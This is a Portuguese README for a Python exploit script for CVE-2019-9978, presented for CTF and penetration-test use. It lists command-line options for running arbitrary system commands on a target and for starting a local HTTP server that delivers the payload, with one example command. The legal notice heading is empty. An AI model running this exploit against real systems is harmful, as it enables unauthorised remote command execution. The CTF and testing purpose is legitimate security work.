cve-2019-9978

Este é um script que permite explorar a vulnerabilidade CVE-2019-9978 de forma direta, destinado a ser usado em desafios Capture The Flag (CTF) ou como prova de conceito para testes de penetração.

Pré-requisitos

• Python 3
• Biblioteca Requests (Instale com pip install requests)

Uso

1. Clone ou baixe este repositório.
2. Abra um terminal e navegue até o diretório do script.
3. Execute o script com as seguintes opções:

   ./cve-2019-9978.py -u http://target.com:9999 -c "your_system_command" -l your_ip:your_port
   - `-u` or `--url`: Set the target URL to deliver the payload.
   - `-c` or `--command`: Set the system command to run on the target system.
   - `-l` or `--local`: Set the IP and port for the HTTP server (optional).

4. O script inicia um servidor HTTP, envia o payload para o alvo e exibe o resultado no terminal.

Exemplo

./cve-2019-9978.py -u http://target.com:9999 -c "id" -l 10.10.13.15:12345

Aviso Legal